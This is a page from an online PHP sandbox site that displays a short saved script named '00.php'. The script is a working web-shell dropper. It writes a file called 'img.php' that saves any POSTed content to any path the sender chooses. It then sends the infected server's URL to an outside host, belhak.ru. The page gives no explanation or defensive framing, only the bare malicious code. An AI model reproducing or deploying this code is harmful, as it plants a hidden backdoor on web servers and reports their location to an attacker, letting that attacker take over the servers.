00 - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of 00.php

  1. <?
  2.  
  3. $a='<?$a=$_POST[a];$b=$_POST[b];if($a==TRUE){file_put_contents($a,$b);}?>';file_put_contents('img.php',$a);
  4.  
  5. $url = ((!empty($_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  6. file_get_contents("http://belhak.ru/post/html.php?url=$url");
  7.  
  8. ?>
  9.  
File Description
  • 00
  • PHP Code
  • 11 Apr-2021
  • 294 Bytes
You can Share it: